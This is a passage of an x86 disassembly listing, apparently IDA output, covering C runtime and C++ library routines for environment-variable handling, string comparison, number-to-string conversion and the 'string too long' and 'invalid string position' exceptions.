cmp ebp, edi
jz short loc_425DDA
push ebp
call sub_41BC9B
cmp eax, edi
pop ecx
mov [esp+14h+var_4], eax
jz short loc_425DDA
push edi
push edi
push ebp
push eax
push 0FFFFFFFFh
push dword ptr [esi]
push edi
push 1
call ebx
test eax, eax
jz short loc_425DDA
push edi
push [esp+18h+var_4]
call sub_426087
mov eax, [esi+4]
add esi, 4
pop ecx
cmp eax, edi
pop ecx
jnz short loc_425D8A
loc_425DD2: ; CODE XREF: sub_425D71+11j
xor eax, eax
loc_425DD4: ; CODE XREF: sub_425D71+6Cj
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_425DDA: ; CODE XREF: sub_425D71+29j
; sub_425D71+38j ...
or eax, 0FFFFFFFFh
jmp short loc_425DD4
sub_425D71 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425DDF proc near ; CODE XREF: sub_425D32+27p
var_3C = dword ptr -3Ch
var_36 = byte ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427CB8
push offset sub_4233C0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor ebx, ebx
cmp dword_4D9A20, ebx
push 1
pop edi
jnz short loc_425E52
push edi
mov eax, offset dword_427908
push eax
push edi
push eax
push ebx
push ebx
call near ptr 25E0000h
nop
test eax, eax
jz short loc_425E2F
mov dword_4D9A20, edi
jmp short loc_425E52
; ---------------------------------------------------------------------------
loc_425E2F: ; CODE XREF: sub_425DDF+46j
push edi
mov eax, offset word_4C91BC
push eax
push edi
push eax
push ebx
push ebx
call near ptr 25E05FEh
nop
test eax, eax
jz loc_426048
mov dword_4D9A20, 2
loc_425E52: ; CODE XREF: sub_425DDF+31j
; sub_425DDF+4Ej
mov esi, [ebp+arg_C]
cmp esi, ebx
jle short loc_425E69
push esi
push [ebp+arg_8]
call sub_42605C
pop ecx
pop ecx
mov esi, eax
mov [ebp+arg_C], esi
loc_425E69: ; CODE XREF: sub_425DDF+78j
cmp [ebp+arg_14], ebx
jle short loc_425E7E
push [ebp+arg_14]
push [ebp+arg_10]
call sub_42605C
pop ecx
pop ecx
mov [ebp+arg_14], eax
loc_425E7E: ; CODE XREF: sub_425DDF+8Dj
mov eax, dword_4D9A20
cmp eax, 2
jnz short loc_425EA3
push [ebp+arg_14]
push [ebp+arg_10]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 25E05FEh
jmp loc_42604A
; ---------------------------------------------------------------------------
loc_425EA3: ; CODE XREF: sub_425DDF+A7j
cmp eax, edi
jnz loc_426048
cmp [ebp+arg_18], ebx
jnz short loc_425EB8
mov eax, dword_4D97E0
mov [ebp+arg_18], eax
loc_425EB8: ; CODE XREF: sub_425DDF+CFj
cmp esi, ebx
jz short loc_425EC5
cmp [ebp+arg_14], ebx
jnz loc_425F5D
loc_425EC5: ; CODE XREF: sub_425DDF+DBj
cmp esi, [ebp+arg_14]
jnz short loc_425ED2
loc_425ECA: ; CODE XREF: sub_425DDF+13Cj
; sub_425DDF+16Dj
push 2
loc_425ECC: ; CODE XREF: sub_425DDF+146j
pop eax
jmp loc_42604A
; ---------------------------------------------------------------------------
loc_425ED2: ; CODE XREF: sub_425DDF+E9j
cmp [ebp+arg_14], edi
jle short loc_425EDE
loc_425ED7: ; CODE XREF: sub_425DDF+151j
; sub_425DDF+159j ...
mov eax, edi
jmp loc_42604A
; ---------------------------------------------------------------------------
loc_425EDE: ; CODE XREF: sub_425DDF+F6j
cmp esi, edi
jg short loc_425F23
lea eax, [ebp+var_3C]
push eax
push [ebp+arg_18]
call near ptr 2650000h
nop
test eax, eax
jz loc_426048
cmp esi, ebx
jle short loc_425F27
cmp [ebp+var_3C], 2
jb short loc_425F23
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_425F23
loc_425F09: ; CODE XREF: sub_425DDF+142j
mov dl, [eax+1]
cmp dl, bl
jz short loc_425F23
mov ecx, [ebp+arg_8]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_425F1D
cmp cl, dl
jbe short loc_425ECA
loc_425F1D: ; CODE XREF: sub_425DDF+138j
inc eax
inc eax
cmp [eax], bl
jnz short loc_425F09
loc_425F23: ; CODE XREF: sub_425DDF+101j
; sub_425DDF+120j ...
push 3
jmp short loc_425ECC
; ---------------------------------------------------------------------------
loc_425F27: ; CODE XREF: sub_425DDF+11Aj
cmp [ebp+arg_14], ebx
jle short loc_425F5D
cmp [ebp+var_3C], 2
jb short loc_425ED7
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_425ED7
loc_425F3A: ; CODE XREF: sub_425DDF+177j
mov dl, [eax+1]
cmp dl, bl
jz short loc_425ED7
mov ecx, [ebp+arg_10]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_425F52
cmp cl, dl
jbe loc_425ECA
loc_425F52: ; CODE XREF: sub_425DDF+169j
inc eax
inc eax
cmp [eax], bl
jnz short loc_425F3A
jmp loc_425ED7
; ---------------------------------------------------------------------------
loc_425F5D: ; CODE XREF: sub_425DDF+E0j
; sub_425DDF+14Bj
push ebx
push ebx
push esi
push [ebp+arg_8]
push 9
push [ebp+arg_18]
nop
call near ptr 2700000h
mov [ebp+var_1C], eax
cmp eax, ebx
jz loc_426048
mov [ebp+var_4], ebx
add eax, eax
add eax, 3
and al, 0FCh
call sub_41C2A0
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_425FAC
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+arg_C]
push 1
pop edi
loc_425FAC: ; CODE XREF: sub_425DDF+1B5j
cmp [ebp+var_24], ebx
jz loc_426048
push [ebp+var_1C]
push [ebp+var_24]
push esi
push [ebp+arg_8]
push edi
push [ebp+arg_18]
mov esi, dword_4270F0
call esi
test eax, eax
jz short loc_426048
push ebx
push ebx
push [ebp+arg_14]
push [ebp+arg_10]
push 9
push [ebp+arg_18]
call esi
mov esi, eax
mov [ebp+var_20], esi
cmp esi, ebx
jz short loc_426048
mov [ebp+var_4], edi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_41C2A0
mov [ebp+var_18], esp
mov edi, esp
mov [ebp+var_28], edi
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_426017
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor edi, edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_20]
loc_426017: ; CODE XREF: sub_425DDF+224j
cmp edi, ebx
jz short loc_426048
push esi
push edi
push [ebp+arg_14]
push [ebp+arg_10]
push 1
push [ebp+arg_18]
call near ptr 2700000h
nop
test eax, eax
jz short loc_426048
push esi
push edi
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call near ptr 25E0000h
nop
jmp short loc_42604A
; ---------------------------------------------------------------------------
loc_426048: ; CODE XREF: sub_425DDF+63j
; sub_425DDF+C6j ...
xor eax, eax
loc_42604A: ; CODE XREF: sub_425DDF+BFj
; sub_425DDF+EEj ...
lea esp, [ebp-4Ch]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_425DDF endp
; =============== S U B R O U T I N E =======================================
sub_42605C proc near ; CODE XREF: sub_4229D2+81p
; sub_425DDF+7Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_426079
loc_42606C: ; CODE XREF: sub_42605C+1Bj
cmp byte ptr [eax], 0
jz short loc_426079
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_42606C
loc_426079: ; CODE XREF: sub_42605C+Ej
; sub_42605C+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_426084
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_426084: ; CODE XREF: sub_42605C+21j
mov eax, edx
retn
sub_42605C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426087 proc near ; CODE XREF: sub_425D71+50p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor edi, edi
cmp [ebp+arg_0], edi
jz short loc_4260EB
push 3Dh
push [ebp+arg_0]
call sub_4262CD
mov esi, eax
pop ecx
cmp esi, edi
pop ecx
mov [ebp+var_8], esi
jz short loc_4260EB
cmp [ebp+arg_0], esi
jz short loc_4260EB
mov eax, dword_4D973C
xor ebx, ebx
cmp [esi+1], bl
setz bl
cmp eax, dword_4D9740
jnz short loc_4260D1
push eax
call sub_426266
pop ecx
mov dword_4D973C, eax
loc_4260D1: ; CODE XREF: sub_426087+3Cj
cmp eax, edi
jnz short loc_426129
cmp [ebp+arg_4], edi
jz short loc_4260F3
cmp dword_4D9744, edi
jz short loc_4260F3
call sub_425D71
test eax, eax
jz short loc_426129
loc_4260EB: ; CODE XREF: sub_426087+Dj
; sub_426087+22j ...
or eax, 0FFFFFFFFh
loc_4260EE: ; CODE XREF: sub_426087+182j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4260F3: ; CODE XREF: sub_426087+51j
; sub_426087+59j
cmp ebx, edi
jnz loc_426207
push 4
call sub_41BC9B
cmp eax, edi
pop ecx
mov dword_4D973C, eax
jz short loc_4260EB
mov [eax], edi
cmp dword_4D9744, edi
jnz short loc_426129
push 4
call sub_41BC9B
cmp eax, edi
pop ecx
mov dword_4D9744, eax
jz short loc_4260EB
mov [eax], edi
loc_426129: ; CODE XREF: sub_426087+4Cj
; sub_426087+62j ...
sub esi, [ebp+arg_0]
mov edi, dword_4D973C
mov [ebp+var_4], edi
push esi
push [ebp+arg_0]
call sub_42620E
mov esi, eax
pop ecx
test esi, esi
pop ecx
jl short loc_426189
cmp dword ptr [edi], 0
jz short loc_426189
test ebx, ebx
jz short loc_426181
push dword ptr [edi+esi*4]
lea edi, [edi+esi*4]
call sub_41BA31
pop ecx
loc_42615B: ; CODE XREF: sub_426087+E2j
cmp dword ptr [edi], 0
jz short loc_42616B
mov eax, [edi+4]
inc esi
mov [edi], eax
add edi, 4
jmp short loc_42615B
; ---------------------------------------------------------------------------
loc_42616B: ; CODE XREF: sub_426087+D7j
mov eax, esi
shl eax, 2
push eax
push [ebp+var_4]
call sub_41BB48
pop ecx
test eax, eax
pop ecx
jz short loc_4261BB
jmp short loc_4261B6
; ---------------------------------------------------------------------------
loc_426181: ; CODE XREF: sub_426087+C6j
mov eax, [ebp+arg_0]
mov [edi+esi*4], eax
jmp short loc_4261BB
; ---------------------------------------------------------------------------
loc_426189: ; CODE XREF: sub_426087+BDj
; sub_426087+C2j
test ebx, ebx
jnz short loc_426207
test esi, esi
jge short loc_426193
neg esi
loc_426193: ; CODE XREF: sub_426087+108j
lea eax, ds:8[esi*4]
push eax
push edi
call sub_41BB48
pop ecx
test eax, eax
pop ecx
jz loc_4260EB
mov ecx, [ebp+arg_0]
mov [eax+esi*4], ecx
and dword ptr [eax+esi*4+4], 0
loc_4261B6: ; CODE XREF: sub_426087+F8j
mov dword_4D973C, eax
loc_4261BB: ; CODE XREF: sub_426087+F6j
; sub_426087+100j
cmp [ebp+arg_4], 0
jz short loc_426207
push [ebp+arg_0]
call sub_41B960
inc eax
inc eax
push eax
call sub_41BC9B
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_426207
push [ebp+arg_0]
push esi
call sub_41C620
mov eax, esi
pop ecx
sub eax, [ebp+arg_0]
pop ecx
add eax, [ebp+var_8]
and byte ptr [eax], 0
inc eax
neg ebx
sbb ebx, ebx
not ebx
and ebx, eax
push ebx
push esi
nop
call near ptr 25D0000h
push esi
call sub_41BA31
pop ecx
loc_426207: ; CODE XREF: sub_426087+6Ej
; sub_426087+104j ...
xor eax, eax
jmp loc_4260EE
sub_426087 endp
; =============== S U B R O U T I N E =======================================
sub_42620E proc near ; CODE XREF: sub_426087+B2p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, dword_4D973C
push edi
mov eax, [esi]
test eax, eax
jz short loc_426249
mov edi, [esp+8+arg_4]
loc_426220: ; CODE XREF: sub_42620E+39j
push edi
push eax
push [esp+10h+arg_0]
call sub_425D32
add esp, 0Ch
test eax, eax
jnz short loc_42623F
mov eax, [esi]
mov al, [eax+edi]
cmp al, 3Dh
jz short loc_426259
test al, al
jz short loc_426259
loc_42623F: ; CODE XREF: sub_42620E+22j
mov eax, [esi+4]
add esi, 4
test eax, eax
jnz short loc_426220
loc_426249: ; CODE XREF: sub_42620E+Cj
mov eax, esi
sub eax, dword_4D973C
sar eax, 2
neg eax
loc_426256: ; CODE XREF: sub_42620E+56j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_426259: ; CODE XREF: sub_42620E+2Bj
; sub_42620E+2Fj
mov eax, esi
sub eax, dword_4D973C
sar eax, 2
jmp short loc_426256
sub_42620E endp
; =============== S U B R O U T I N E =======================================
sub_426266 proc near ; CODE XREF: sub_426087+3Fp
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor ecx, ecx
test edi, edi
jnz short loc_426275
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
loc_426275: ; CODE XREF: sub_426266+9j
cmp dword ptr [edi], 0
lea eax, [edi+4]
jz short loc_426287
loc_42627D: ; CODE XREF: sub_426266+1Fj
mov edx, [eax]
inc ecx
add eax, 4
test edx, edx
jnz short loc_42627D
loc_426287: ; CODE XREF: sub_426266+15j
push ebx
push ebp
lea eax, ds:4[ecx*4]
push esi
push eax
call sub_41BC9B
mov esi, eax
pop ecx
test esi, esi
mov ebp, esi
jnz short loc_4262A8
push 9
call sub_41E1C9
pop ecx
loc_4262A8: ; CODE XREF: sub_426266+38j
mov eax, [edi]
mov ebx, edi
loc_4262AC: ; CODE XREF: sub_426266+5Bj
test eax, eax
jz short loc_4262C3
push eax
add ebx, 4
call sub_426340
mov [esi], eax
mov eax, [ebx]
pop ecx
add esi, 4
jmp short loc_4262AC
; ---------------------------------------------------------------------------
loc_4262C3: ; CODE XREF: sub_426266+48j
and dword ptr [esi], 0
mov eax, ebp
pop esi
pop ebp
pop ebx
pop edi
retn
sub_426266 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4262CD proc near ; CODE XREF: sub_426087+14p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp dword_4DAB7C, 0
jnz short loc_4262E8
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41C720
pop ecx
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4262E8: ; CODE XREF: sub_4262CD+Aj
mov ecx, [ebp+arg_0]
loc_4262EB: ; CODE XREF: sub_4262CD+56j
movzx ax, byte ptr [ecx]
test ax, ax
jz short loc_42632E
movzx edx, al
test byte_4DAC81[edx], 4
jz short loc_42631A
mov dl, [ecx+1]
inc ecx
test dl, dl
jz short loc_426325
movzx eax, ax
movzx edx, dl
shl eax, 8
or eax, edx
cmp [ebp+arg_4], eax
jz short loc_426329
jmp short loc_426322
; ---------------------------------------------------------------------------
loc_42631A: ; CODE XREF: sub_4262CD+31j
movzx edx, ax
cmp [ebp+arg_4], edx
jz short loc_42632E
loc_426322: ; CODE XREF: sub_4262CD+4Bj
inc ecx
jmp short loc_4262EB
; ---------------------------------------------------------------------------
loc_426325: ; CODE XREF: sub_4262CD+39j
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_426329: ; CODE XREF: sub_4262CD+49j
lea eax, [ecx-1]
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42632E: ; CODE XREF: sub_4262CD+25j
; sub_4262CD+53j
movzx edx, ax
mov eax, [ebp+arg_4]
sub eax, edx
neg eax
sbb eax, eax
not eax
and eax, ecx
pop ebp
retn
sub_4262CD endp
; =============== S U B R O U T I N E =======================================
sub_426340 proc near ; CODE XREF: sub_4183EC+21p
; sub_426266+4Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_426367
push esi
call sub_41B960
inc eax
push eax
call sub_41BC9B
pop ecx
test eax, eax
pop ecx
jz short loc_426367
push esi
push eax
call sub_41C620
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_426367: ; CODE XREF: sub_426340+7j
; sub_426340+1Aj
xor eax, eax
pop esi
retn
sub_426340 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_426370 proc near ; CODE XREF: sub_426453+19p
; sub_42657A+19p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call sub_41B960
pop ecx
push eax
push [esp+8+arg_0]
mov ecx, esi
call sub_40D9A4
mov eax, esi
pop esi
retn 8
sub_426370 endp
; =============== S U B R O U T I N E =======================================
sub_42639A proc near ; CODE XREF: ___:004263C5p
; sub_426448+6j ...
push esi
mov esi, ecx
push 1
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset nullsub_1
call sub_40D968
mov ecx, esi
pop esi
jmp sub_42681F
sub_42639A endp
; =============== S U B R O U T I N E =======================================
sub_4263B5 proc near ; DATA XREF: ___:00427CD8o
; ___:00427CE8o ...
mov eax, [ecx+10h]
test eax, eax
jnz short locret_4263C1
mov eax, offset dword_4276A0
locret_4263C1: ; CODE XREF: sub_4263B5+5j
retn
sub_4263B5 endp
; ---------------------------------------------------------------------------
push esi
mov esi, ecx
call sub_42639A
test byte ptr [esp+8], 1
jz short loc_4263D8
push esi
call sub_41D3EF
pop ecx
loc_4263D8: ; CODE XREF: ___:004263CFj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_4263DE proc near ; CODE XREF: sub_426453+29p
mov eax, offset loc_426D9E
call sub_41D3D0
push ecx
push ecx
push esi
lea eax, [ebp-10h]
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_427CF0
call sub_426798
push dword ptr [ebp+8]
and dword ptr [ebp-4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset nullsub_1
call sub_426490
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_427CE4
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4263DE endp
; =============== S U B R O U T I N E =======================================
sub_42642C proc near ; DATA XREF: ___:off_427CE4o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426448
test [esp+4+arg_0], 1
jz short loc_426442
push esi
call sub_41D3EF
pop ecx
loc_426442: ; CODE XREF: sub_42642C+Dj
mov eax, esi
pop esi
retn 4
sub_42642C endp
; =============== S U B R O U T I N E =======================================
sub_426448 proc near ; CODE XREF: sub_42642C+3p
; DATA XREF: ___:0042805Co
mov dword ptr [ecx], offset off_427CE4
jmp sub_42639A
sub_426448 endp
; =============== S U B R O U T I N E =======================================
sub_426453 proc near ; CODE XREF: sub_40D815+13p
; sub_40D9D9+Ep
mov eax, offset loc_426DB0
call sub_41D3D0
sub esp, 30h
lea eax, [ebp-0Dh]
push eax
push offset aInvalidStringP ; "invalid string position"
lea ecx, [ebp-20h]
call sub_426370
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_4263DE
push offset dword_428058
lea eax, [ebp-3Ch]
push eax
call sub_426842
int 3 ; Trap to Debugger
sub_426453 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_426490 proc near ; CODE XREF: sub_4263DE+32p
; sub_4264B0+32p ...
arg_0 = dword ptr 4
push esi
xor eax, eax
push 0FFFFFFFFh
mov esi, ecx
push eax
push [esp+0Ch+arg_0]
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call sub_40D815
mov eax, esi
pop esi
retn 4
sub_426490 endp
; =============== S U B R O U T I N E =======================================
sub_4264B0 proc near ; CODE XREF: sub_42657A+29p
mov eax, offset loc_426DC2
call sub_41D3D0
push ecx
push ecx
push esi
lea eax, [ebp-10h]
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_427CF0
call sub_426798
push dword ptr [ebp+8]
and dword ptr [ebp-4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset nullsub_1
call sub_426490
mov ecx, [ebp-0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4264B0 endp
; =============== S U B R O U T I N E =======================================
sub_4264F8 proc near ; CODE XREF: sub_426562+7p
; sub_4265BE+7p ...
mov eax, offset loc_426DD4
call sub_41D3D0
push ecx
push esi
push edi
mov edi, [ebp+8]
mov esi, ecx
push edi
mov [ebp-10h], esi
call sub_4267D5
and dword ptr [ebp-4], 0
add edi, 0Ch
push edi
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset nullsub_1
call sub_426490
mov ecx, [ebp-0Ch]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4264F8 endp
; =============== S U B R O U T I N E =======================================
sub_42653B proc near ; DATA XREF: ___:off_427D10o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426557
test [esp+4+arg_0], 1
jz short loc_426551
push esi
call sub_41D3EF
pop ecx
loc_426551: ; CODE XREF: sub_42653B+Dj
mov eax, esi
pop esi
retn 4
sub_42653B endp
; =============== S U B R O U T I N E =======================================
sub_426557 proc near ; CODE XREF: sub_42653B+3p
; DATA XREF: ___:00428104o
mov dword ptr [ecx], offset off_427D10
jmp sub_42639A
sub_426557 endp
; =============== S U B R O U T I N E =======================================
sub_426562 proc near ; CODE XREF: sub_4265D6+46p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_4264F8
mov dword ptr [esi], offset off_427CE4
mov eax, esi
pop esi
retn 4
sub_426562 endp
; =============== S U B R O U T I N E =======================================
sub_42657A proc near ; CODE XREF: sub_40D765+15p
; sub_40D7BE+15p ...
mov eax, offset loc_426DE6
call sub_41D3D0
sub esp, 30h
lea eax, [ebp-0Dh]
push eax
push offset aStringTooLong ; "string too long"
lea ecx, [ebp-20h]
call sub_426370
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_4264B0
push offset dword_428100
lea eax, [ebp-3Ch]
push eax
mov dword ptr [ebp-3Ch], offset off_427D10
call sub_426842
int 3 ; Trap to Debugger
sub_42657A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4265BE proc near ; CODE XREF: sub_4265D6+28p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_4264F8
mov dword ptr [esi], offset off_427D10
mov eax, esi
pop esi
retn 4
sub_4265BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4265D6 proc near ; DATA XREF: ___:00427CDCo
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_4264F8
push offset dword_428140
lea eax, [ebp+var_1C]
push eax
call sub_426842
int 3 ; Trap to Debugger
loc_4265F4: ; DATA XREF: ___:00427D18o
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_4265BE
push offset dword_428100
lea eax, [ebp+var_1C]
push eax
call sub_426842
int 3 ; Trap to Debugger
loc_426612: ; DATA XREF: ___:00427CECo
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426562
push offset dword_428058
lea eax, [ebp+var_1C]
push eax
call sub_426842
int 3 ; Trap to Debugger
sub_4265D6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_426630 proc near
jmp near ptr 71B2ACCBh
sub_426630 endp
; ---------------------------------------------------------------------------
pushf
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_426636 proc near ; CODE XREF: sub_40D0EB+5Ep
; ___:00415727p ...
nop
jmp near ptr 71AB1B7Bh
sub_426636 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_42663C proc near ; CODE XREF: sub_41D03C+23p
; sub_41D2E0+13p
jmp near ptr 28721CCh
sub_42663C endp
; ---------------------------------------------------------------------------
db 11h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426642 proc near ; CODE XREF: ___:0040B084p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0Ah
jnz short loc_426657
cmp [ebp+arg_0], 0
jge short loc_426657
push 1
push 0Ah
jmp short loc_42665C
; ---------------------------------------------------------------------------
loc_426657: ; CODE XREF: sub_426642+7j
; sub_426642+Dj
push 0
push [ebp+arg_8]
loc_42665C: ; CODE XREF: sub_426642+13j
push [ebp+arg_4]
push [ebp+arg_0]
call sub_42666F
mov eax, [ebp+arg_4]
add esp, 10h
pop ebp
retn
sub_426642 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42666F proc near ; CODE XREF: sub_426642+20p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp [ebp+arg_C], 0
mov ecx, [ebp+arg_4]
push ebx
push esi
push edi
jz short loc_426689
mov esi, [ebp+arg_0]
mov byte ptr [ecx], 2Dh
inc ecx
neg esi
jmp short loc_42668C
; ---------------------------------------------------------------------------
loc_426689: ; CODE XREF: sub_42666F+Dj
mov esi, [ebp+arg_0]
loc_42668C: ; CODE XREF: sub_42666F+18j
mov edi, ecx
loc_42668E: ; CODE XREF: sub_42666F+43j
mov eax, esi
xor edx, edx
div [ebp+arg_8]
mov eax, esi
mov ebx, edx
xor edx, edx
div [ebp+arg_8]
cmp ebx, 9
mov esi, eax
jbe short loc_4266AA
add bl, 57h
jmp short loc_4266AD
; ---------------------------------------------------------------------------
loc_4266AA: ; CODE XREF: sub_42666F+34j
add bl, 30h
loc_4266AD: ; CODE XREF: sub_42666F+39j
mov [ecx], bl
inc ecx
test esi, esi
ja short loc_42668E
and byte ptr [ecx], 0
dec ecx
loc_4266B8: ; CODE XREF: sub_42666F+55j
mov dl, [edi]
mov al, [ecx]
mov [ecx], dl
mov [edi], al
dec ecx
inc edi
cmp edi, ecx
jb short loc_4266B8
pop edi
pop esi
pop ebx
pop ebp
retn
sub_42666F endp
; =============== S U B R O U T I N E =======================================
sub_4266CB proc near ; CODE XREF: sub_4175C4+E2p
; sub_4175C4+F9p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp dword_4D97D0, 0
push ebx
jnz short loc_426711
mov edx, [esp+4+arg_4]
mov ecx, [esp+4+arg_0]
loc_4266DD: ; CODE XREF: sub_4266CB+42j
mov bx, [ecx]
cmp bx, 5Ah
ja short loc_4266EF
cmp bx, 41h
jb short loc_4266EF
add ebx, 20h
loc_4266EF: ; CODE XREF: sub_4266CB+19j
; sub_4266CB+1Fj
mov ax, [edx]
cmp ax, 5Ah
ja short loc_426701
cmp ax, 41h
jb short loc_426701
add eax, 20h
loc_426701: ; CODE XREF: sub_4266CB+2Bj
; sub_4266CB+31j
inc ecx
inc ecx
inc edx
inc edx
test bx, bx
jz short loc_426741
cmp bx, ax
jz short loc_4266DD
jmp short loc_426741
; ---------------------------------------------------------------------------
loc_426711: ; CODE XREF: sub_4266CB+8j
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, [esp+0Ch+arg_4]
loc_42671B: ; CODE XREF: sub_4266CB+72j
mov ax, [esi]
inc esi
push eax
inc esi
call sub_42687C
mov ebx, eax
mov ax, [edi]
inc edi
push eax
inc edi
call sub_42687C
pop ecx
test bx, bx
pop ecx
jz short loc_42673F
cmp bx, ax
jz short loc_42671B
loc_42673F: ; CODE XREF: sub_4266CB+6Dj
pop edi
pop esi
loc_426741: ; CODE XREF: sub_4266CB+3Dj
; sub_4266CB+44j
movzx ecx, ax
movzx eax, bx
sub eax, ecx
pop ebx
retn
sub_4266CB endp
; =============== S U B R O U T I N E =======================================
sub_42674B proc near ; CODE XREF: ___:00426763p
mov dword ptr [ecx], offset off_427D30
mov ecx, [ecx+4]
test ecx, ecx
jz short locret_42675F
push ecx
call sub_41BA31
pop ecx
locret_42675F: ; CODE XREF: sub_42674B+Bj
retn
sub_42674B endp
; ---------------------------------------------------------------------------
loc_426760: ; DATA XREF: ___:off_427D30o
push esi
mov esi, ecx
call sub_42674B
test byte ptr [esp+8], 1
jz short loc_426776
push esi
call sub_41D3EF
pop ecx
loc_426776: ; CODE XREF: ___:0042676Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
